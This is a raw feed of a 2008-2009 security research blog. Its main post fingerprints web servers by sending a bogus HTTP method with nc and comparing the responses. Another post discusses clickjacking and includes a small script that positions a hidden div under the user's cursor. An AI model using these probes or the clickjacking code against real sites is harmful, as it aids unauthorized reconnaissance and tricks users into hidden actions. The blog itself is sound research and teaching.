url='http://2.bp.blogspot.com/_2r2SQhqglf4/Sal30CcuQmI/AAAAAAAAAYY/JShtfebseVA/s72-c/images.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8342138071621886572</id><published>2009-02-24T05:23:00.001-08:00</published><updated>2009-02-24T07:28:30.436-08:00</updated><title type='text'>Obfuscated HTTP Method Call based Fingerprinting Analysis</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/SaQP3ZKGM3I/AAAAAAAAAYQ/tHdGC0oKjzA/s1600-h/web-hosting-pic.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 160px; height: 169px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/SaQP3ZKGM3I/AAAAAAAAAYQ/tHdGC0oKjzA/s320/web-hosting-pic.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5306383705269744498" /&gt;&lt;/a&gt;Fingerprinting of web servers can be done in different ways. It has been noticed that the HTTP methods are not interpreted in an appropriate manner by number of web servers. It can be seen while fuzzing web servers ( if the particular HTTP method is included ). With the advent of new scripting languages number of different web servers are in a race. Let's first look at the some of the web servers which are in use now a days. The list is under mentioned:-&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Zope Web Server]&lt;/b&gt;Zope is an open source application server for building content management systems, intranets, portals, and custom applications. The Zope community consists of hundreds of companies and thousands of developers all over the world, working on building the platform and Zope applications. Zope is written in Python, a highly-productive, object-oriented scripting language.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Mongrel Web Server]&lt;/b&gt;&lt;br /&gt;Mongrel is a fast HTTP library and server for Ruby that is intended for hosting Ruby &lt;br /&gt;web applications of any kind using plain HTTP rather than FastCGI or SCGI.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Jetty]&lt;/b&gt;&lt;br /&gt;Jetty is an open-source, standards-based, full-featured web server implemented entirely in Java.&lt;br /&gt;&lt;br /&gt;These are number of web servers which are used in open source development extensively. The IIS and Apache (different variants)are always on the role.&lt;br /&gt;&lt;br /&gt;The point that needs to be scrutinized is the request acceptance by the web server and the ability of open source web servers to understand the HTTP method properly. The IIS and Apache are efficient in handling rogue requests. But other web servers fail to instantiate this kind of behavior( interpreting HTTP requests efficiently].&lt;br /&gt;&lt;br /&gt;This talk serves over two basic principles:&lt;br /&gt;&lt;br /&gt;1. Effectiveness and Pervasiveness of Web servers in interpreting the HTTP Call Method.&lt;br /&gt;2. Type of response send by the server.&lt;br /&gt;3. The type of exceptions occur.&lt;br /&gt;&lt;br /&gt;There are number of tools that fingerprint web servers. There is no doubt that 70% of web servers deployed globally can be traced by fetching banners. But our aim is to perform fingerprinting with minimum information. That's where fuzzing becomes really critical. We have critically examined the behavior of under mentioned entities and their collective use to fingerprint web servers.&lt;br /&gt;&lt;br /&gt;1. Rogue HTTP Method Call Invocation.&lt;br /&gt;2. Long String of /\/\/\/\/\/\/\/\ Expression.&lt;br /&gt;&lt;br /&gt;We have used back slash character. According to regular expression and pattern matching theory the backslash character can be used for following purposes.&lt;br /&gt;&lt;br /&gt;1) stand for itself, &lt;br /&gt;2) quote the next character, &lt;br /&gt;3) introduce an operator, &lt;br /&gt;4) do nothing.&lt;br /&gt;&lt;br /&gt;It depends a lot in the context in which backslash character is used. We will see the behavior of number of web servers when a specific request is sent. &lt;br /&gt; &lt;br /&gt;&lt;span style="font-style:italic;"&gt;$ nc www.example.com 80&lt;br /&gt;JAG /\/\/\/\/\/\/\/\/\ HTTP/1.0&lt;br /&gt;&lt;br /&gt;HTTP/1.1 404 Not Found&lt;br /&gt;Date: Tue, 24 Feb 2009 13:48:37 GMT&lt;br /&gt;Server: Mongrel 1.1.3&lt;br /&gt;Status: 404 Not Found&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;Content-Type: text/html; charset=utf-8&lt;br /&gt;Content-Length: 708&lt;br /&gt;Set-Cookie: _session_id=5537174372e814e02fee588aa67c4a2a; path=/&lt;br /&gt;Connection: close&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It responds with HTTP/1.1 specification and 404 (The server has not found anything matching the URI given )Not Found. That's right. Another point that should not be neglected in Mongrel web servers is that it adds a Status parameter in a response. This behavior is only shown by the Mongrel web server. On the contrary the server does not point out the HTTP method used for call invocation.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;$ nc example.org 80&lt;br /&gt;JAG /\/\/\/\/\/\/\/\ HTTP/1.0&lt;br /&gt;&lt;br /&gt;HTTP/1.1 405 Method Not Allowed&lt;br /&gt;Date: Tue, 24 Feb 2009 13:53:29 GMT&lt;br /&gt;Server: Jetty/5.1.14 (SunOS/5.10 x86 java/1.6.0_03&lt;br /&gt;Expires: Thu, 01 Jan 1970 00:00:00 GMT&lt;br /&gt;Set-Cookie: xn_visitor=4537fb13-e021-4cdb-bb50-4e3a8bfbb6fa;Path=/;Domain=.z1014&lt;br /&gt;ba.ningops.com;Expires=Fri, 22-Feb-19 13:53:29 GMT&lt;br /&gt;X-XN-Trace-Token: 8702916f-3dbd-4d51-978c-06abbe2adf73&lt;br /&gt;Allow: GET, HEAD, POST, PUT, DELETE, MOVE, OPTIONS, TRACE&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Content-Length: 1246&lt;br /&gt;Connection: close&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Jetty web server responds back 405 (the client has tried to use a request method that the server does not allow.The method specified in the Request-Line is not allowed for the resource identified by the Request-URI. The response MUST include an Allow header containing a list of valid methods for the requested resource). As Jetty is written in Java the HTTP methods are always configured most of the time which are allowed to be executed.&lt;br /&gt;&lt;br /&gt;For Zope server we will consider two cases as structured below.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;$ nc example.com 80&lt;br /&gt;JAG /\ HTTP/1.0&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Tue, 24 Feb 2009 14:11:37 GMT&lt;br /&gt;Server: Zope/(Zope 2.9.6-final, python 2.4.4, linux2) ZServer/1.1 Plone/2.5.1&lt;br /&gt;Content-Length: 59&lt;br /&gt;Content-Type: text/plain; charset=iso-8859-15&lt;br /&gt;Via: 1.0 www.example.com&lt;br /&gt;Connection: close&lt;br /&gt;webdav.NullResource.NullResource object at 0x2aaaacda0b18&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The server responds back with 200(the request is fulfilled) OK response code. There is an null pointer exception too at the end. Let's look at the different layout&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;$ nc example.org 80&lt;br /&gt;JAG /\/\/\/\/\/\ HTTP/1.0&lt;br /&gt;&lt;br /&gt;HTTP/1.1 404 Not Found&lt;br /&gt;Date: Tue, 24 Feb 2009 14:03:42 GMT&lt;br /&gt;Server: Zope/(Zope 2.9.6-final, python 2.4.4, linux2) ZServer/1.1 Plone/2.5.1&lt;br /&gt;Bobo-Exception-Line: 66&lt;br /&gt;Content-Length: 1403&lt;br /&gt;Bobo-Exception-Value: See the server error log for details&lt;br /&gt;Bobo-Exception-File: NullResource.py&lt;br /&gt;Bobo-Exception-Type: NotFound&lt;br /&gt;Content-Type: text/html; charset=iso-8859-15&lt;br /&gt;Via: 1.0 www.example.com&lt;br /&gt;Connection: close&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We are not considering the exceptions here. You can see the server responds back with 404(This status code is commonly used when the server does not wish to reveal exactly why the request has been refused, or when no other response is applicable.)&lt;br /&gt;The response is different with string manipulation. The ambiguity is there or the code does not handle the request effectively.&lt;br /&gt;&lt;br /&gt;Let's try this behavior for Microsoft IIS and Apache&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;$ nc microsoft.com 80&lt;br /&gt;JAG /\/\/\/\/\/\/\ HTTP/1.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HTTP/1.1 501 Not Implemented&lt;br /&gt;Content-Length: 0&lt;br /&gt;Server: Microsoft-IIS/6.0&lt;br /&gt;P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo C&lt;br /&gt;NT COM INT NAV ONL PHY PRE PUR UNI'&lt;br /&gt;X-Powered-By: ASP.NET&lt;br /&gt;X-UA-Compatible: IE=EmulateIE7&lt;br /&gt;Date: Tue, 24 Feb 2009 14:06:06 GMT&lt;br /&gt;Connection: close&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The response code is 501(The server does not support the functionality required to fulfill the request. This is the appropriate response when the server does not recognize the request method and is not capable of supporting it for any resource). It is quite perfect as per the desired logic.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;$ nc apache.org 80&lt;br /&gt;JAG /\/\/\/\/\/\ HTTP/1.0&lt;br /&gt;&lt;br /&gt;HTTP/1.1 501 Method Not Implemented&lt;br /&gt;Date: Tue, 24 Feb 2009 14:50:58 GMT&lt;br /&gt;Server: Apache/2.2.9 (Unix)&lt;br /&gt;Allow: GET,HEAD,POST,OPTIONS,TRACE&lt;br /&gt;Vary: Accept-Encoding&lt;br /&gt;Content-Length: 337&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/html; charset=iso-8859-1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The same result is returned by Apache as 501. The differential pattern is under mentioned as:&lt;br /&gt;&lt;br /&gt;IIS Server Response String --  HTTP/1.1 501 Not Implemented&lt;br /&gt;Apache Server Response String -- HTTP/1.1 501 Method Not Implemented&lt;br /&gt;&lt;br /&gt;The word "method" is not present in the IIS response. This is a generic behavior.&lt;br /&gt;&lt;br /&gt;The most widely used web servers track down the HTTP method invocation check which is quite missing in other web servers. Two points arise:-&lt;br /&gt;&lt;br /&gt;1. Do web server implements a check on HTTP Method Call Invocation?&lt;br /&gt;2. Are web servers processing request based on URI only ?&lt;br /&gt;&lt;br /&gt;This all depends on the web server development. Lets try this logic on proxies:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;$ nc example.org 80&lt;br /&gt;JAG /\/\/\/\/\/\ HTTP/1.0&lt;br /&gt;&lt;br /&gt;HTTP/1.0 400 Bad Request&lt;br /&gt;Server: squid/2.7.STABLE6&lt;br /&gt;Date: Tue, 24 Feb 2009 14:00:52 GMT&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Content-Length: 1207&lt;br /&gt;X-Squid-Error: ERR_INVALID_REQ 0&lt;br /&gt;X-Cache: MISS from cache5.zmh.zope.net&lt;br /&gt;Via: 1.0 cache5.zmh.zope.net:8300 (squid/2.7.STABLE6)&lt;br /&gt;Connection: close&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The proxy server responds back with 400 Bad Request with same HTTP/1.0. The proxy&lt;br /&gt;intercepts and scrutinize the HTTP method and URI request at the perimeter level.&lt;br /&gt;&lt;br /&gt;The behavior is again different if compared to web servers. This analysis lay stress on the HTTP Method call check which is required to prune down the fingerprinting process based on this factor.&lt;br /&gt;&lt;br /&gt;If all web servers responds back with 501 code then it should be consider as a unanimous behavior among different web browsers.&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8342138071621886572?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8342138071621886572/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8342138071621886572' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8342138071621886572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8342138071621886572'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/02/obfuscated-http-method-call-based.html' title='Obfuscated HTTP Method Call based Fingerprinting Analysis'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/SaQP3ZKGM3I/AAAAAAAAAYQ/tHdGC0oKjzA/s72-c/web-hosting-pic.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3993028212797415006</id><published>2009-02-01T04:32:00.001-08:00</published><updated>2009-02-23T04:56:06.088-08:00</updated><title type='text'>More Towards Clickjacking - Simulating Positive Trends</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/SYWmEl-cy1I/AAAAAAAAAYA/BoLVnikssZo/s1600-h/mouse_click.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 280px; height: 256px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/SYWmEl-cy1I/AAAAAAAAAYA/BoLVnikssZo/s320/mouse_click.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5297823134514989906" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;Clickjacking. You will find number of definitions about this attack. In generalized manner it is a kind of attack that simulate not only MOUSE EVENTS, while performing malicious operations but also hijacking of user interface components that are displayed by a specific site. &lt;br /&gt;&lt;br /&gt;Usually, the aim is to trap the handling of hidden events, when a mouse is clicked over the user interface component such as buttons.I am considering all types of web based variants that can be triggered through browsers. The point of dissemination about clickjacking is to scrutinize the behavior of user interfaces(buttons). The events can be generated dynamically or manually. When an user interface is clicked , a hidden event is executed at the back.&lt;br /&gt;&lt;br /&gt;A recent simple &lt;a href="http://www.secniche.org/gcr_clkj/"&gt;POC&lt;/a&gt; which was released based on this concept. The proof of concept revolves around the activation of a code (div) through a generic mouse event that binds to hidden structure with div tags. We are not actually sticking to general JavaScript call i.e. location.href. It is used as a one part but what is more interesting, is the pure use of hidden event through mouse clicking, which triggers it. The proof of concept clearly defines that. The clickjacking POC is a very simple variant to just show the browser request handling. More devastated actions can be performed where user authentication is required.&lt;br /&gt;&lt;br /&gt;Well it is quite view specific here. The major trend revolves around:&lt;br /&gt;&lt;br /&gt;1. Execution of hidden frames by triggering mouse interface with components(buttons).&lt;br /&gt;2. Mouse coordinates play even a critical role to match the positions.&lt;br /&gt;&lt;br /&gt;The coordinates function:&lt;br /&gt;&lt;br /&gt;function clickjack_armor(evt)&lt;br /&gt;{&lt;br /&gt; clickjack_mouseX=evt.pageX?evt.pageX:evt.clientX;&lt;br /&gt; clickjack_mouseY=evt.pageY?evt.pageY:evt.clientY;&lt;br /&gt; document.getElementById('mydiv').style.left=clickjack_mouseX-1;&lt;br /&gt; document.getElementById('mydiv').style.top=clickjack_mouseY-1;&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;When we are talking about hidden, we use DIV tags or other manually drafted codes to generate hidden frames.&lt;br /&gt;&lt;br /&gt;3. The victims has to be trapped..&lt;br /&gt;&lt;br /&gt;If we consider this definition of clickacking&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"A clickjacked page tricks a user into performing undesired actions by clicking on a concealed link. On a clickjacked page, the attackers show a set of dummy buttons, then load another page over it in a transparent layer. The user thinks he is clicking the visible buttons, while he/she is actually performing actions on the hidden page"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Clickjacking is based on a similar principle: to convince the end user to provide information that does not seem to have any value to the user, but factually has power over the user's assets or ID, if applied in a particular context.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Again I think real issue behind clickjacking have been clearly on the cards.I sincerely feel that the SecTheory has given a clear explanation here:&lt;a href="http://sectheory.com/clickjacking.htm"&gt;ClickJacking Paper.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Rest its a browser issue and the events can be triggered in a number of ways. Browser interaction with users always at the verge of exploitation. So this is a threat and we have to collaborate in working against it.&lt;br /&gt;&lt;br /&gt;Security is a prime motive so lets drive by it.&lt;br /&gt;&lt;br /&gt;Cheers&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3993028212797415006?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3993028212797415006/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3993028212797415006' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3993028212797415006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3993028212797415006'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/02/more-towards-clickjacking-simulating.html' title='More Towards Clickjacking - Simulating Positive Trends'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/SYWmEl-cy1I/AAAAAAAAAYA/BoLVnikssZo/s72-c/mouse_click.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-223132979755251697</id><published>2009-01-22T01:13:00.000-08:00</published><updated>2009-01-22T01:17:07.108-08:00</updated><title type='text'>BCS Article - Scrutinizing Business Logic</title><content type='html'>The British Computer Society has published a new article on business logic written by secniche. The article revolves around:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;The vulnerability pattern is shifting more towards application level and attackers are concentrating more on exploiting web applications rather system level insecurities. The high end attacks used to start with XSS and SQL injections, but the paradigm has shifted more towards business logic flaws.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For detailed article:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.bcs.org/server.php?show=ConWebDoc.24009&amp;changeNav=8265"&gt;http://www.bcs.org/server.php?show=ConWebDoc.24009&amp;changeNav=8265&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-223132979755251697?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/223132979755251697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=223132979755251697' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/223132979755251697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/223132979755251697'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/01/bcs-article-scrutinizing-business-logic.html' title='BCS Article - Scrutinizing Business Logic'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8176913276538440651</id><published>2009-01-22T01:06:00.000-08:00</published><updated>2009-01-22T01:09:50.673-08:00</updated><title type='text'>Hakin9 Issue Jan-Feb 2009 - New Paper Published</title><content type='html'>The new paper related to "Hacking IM encryption Flaws" have been published in Hakin9 issue. This paper sheds a light on encryption problems in Instant Messaging client’s primary memory which lead to hacking. The IM clients have been used extensively all over the world to exchange messages between different parties.&lt;br /&gt;&lt;br /&gt;For more details: &lt;a href="http://hakin9.org/prt/view/about-the-mag/issue/959.html"&gt;http://hakin9.org/prt/view/about-the-mag/issue/959.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8176913276538440651?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8176913276538440651/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8176913276538440651' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8176913276538440651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8176913276538440651'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/01/hakin9-issue-jan-feb-2009-new-paper.html' title='Hakin9 Issue Jan-Feb 2009 - New Paper Published'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-8865768396563477426</id><published>2008-12-11T01:59:00.000-08:00</published><updated>2008-12-11T02:01:43.925-08:00</updated><title type='text'>Clubhack 2008 Security Conference</title><content type='html'>Secniche security has presented on client side hacking at clubhack 2008 security conference. you can find all info at : &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.clubhack.com"&gt;http://www.clubhack.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-8865768396563477426?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/8865768396563477426/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=8865768396563477426' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8865768396563477426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/8865768396563477426'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/12/clubhack-2008-security-conference.html' title='Clubhack 2008 Security Conference'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-5891429548259178028</id><published>2008-12-11T01:53:00.000-08:00</published><updated>2008-12-11T01:59:34.706-08:00</updated><title type='text'>XCON and XKUNGfoo Security Conferences</title><content type='html'>Hi&lt;br /&gt;&lt;br /&gt;The secniche security has presented two talks on china's most efficient hacking&lt;br /&gt;and security conferences. The XCON is prime conference organized by XFOCUS group. This year there are very good talks which enlightens up the crowd with new techniques on security.&lt;br /&gt;&lt;br /&gt;The xcon talk has been made online at &lt;a href="http://www.secniche.org/events.html"&gt;http://www.secniche.org/events.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The xkungfoo has not been released due to some reasons.&lt;br /&gt;&lt;br /&gt;XCON : &lt;a href="http://xcon.xfocus.org"&gt;http://xcon.xfocus.org&lt;/a&gt;&lt;br /&gt;Xkungfoo : &lt;a href="http://www.xkungfoo.org"&gt;http://www.xkungfoo.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy&lt;br /&gt;&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-5891429548259178028?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/5891429548259178028/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=5891429548259178028' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5891429548259178028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5891429548259178028'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/12/xcon-and-xkungfoo-security-conferences.html' title='XCON and XKUNGfoo Security Conferences'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-9177444002933858313</id><published>2008-10-13T04:04:00.000-07:00</published><updated>2008-10-13T04:08:26.855-07:00</updated><title type='text'>WindowSecrets.com - Improve Security by Running Applications in Isolation</title><content type='html'>Windows Secret portal has published a new article on "Improve Security by Running Applications in Isolation". The article describes the positive functionality of running applications in isolation. The released Mozilla vulnerability has taken as one of the specific browser issue in it.&lt;br /&gt;&lt;br /&gt;Read paper at:&lt;br /&gt;&lt;a href="http://windowssecrets.com/2008/10/02/08-Improve-security-by-running-apps-in-isolation"&gt;&lt;b&gt;READ&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-9177444002933858313?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/9177444002933858313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=9177444002933858313' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/9177444002933858313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/9177444002933858313'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2008/10/windowsecretscom-improve-security-by.html' title='WindowSecrets.com - Improve Security by Running Applications in Isolation'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-4359036098312383462</id><published>2008-09-27T10:11:00.000-07:00</published><updated>2008-09-27T10:29:36.341-07:00</updated><title type='text'>Google Chrome Memory Exhaustion Bug</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/SN5qba8a8hI/AAAAAAAAAR4/RHwegzeyn_I/s1600-h/chromecolour3.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/SN5qba8a8hI/AAAAAAAAAR4/RHwegzeyn_I/s320/chromecolour3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5250751234882335250" /&gt;&lt;/a&gt;&lt;br /&gt;A new Google Chrome memory exhaustion bug has been release at SecNiche Security. Fidn the detail here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://secniche.org/gcrds.html"&gt;http://secniche.org/gcrds.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Additional Links and News:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.zdnet.com/security/?p=1975"&gt;http://blogs.zdnet.com/security/?p=1975&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.chromeplugins.org/chrome/chrome-memory-exaustion-dos-vulnerability/"&gt;http://www.chromeplugins.org/chrome/chrome-memory-exaustion-dos-vulnerability/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://milw0rm.com/exploits/6554"&gt;http://milw0rm.com/exploits/6554&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.heise.de/security/DoS-Schwachstelle-bringt-Googles-Chrome-zu-Fall--/news/meldung/116526"&gt;http://www.heise.de&lt;br 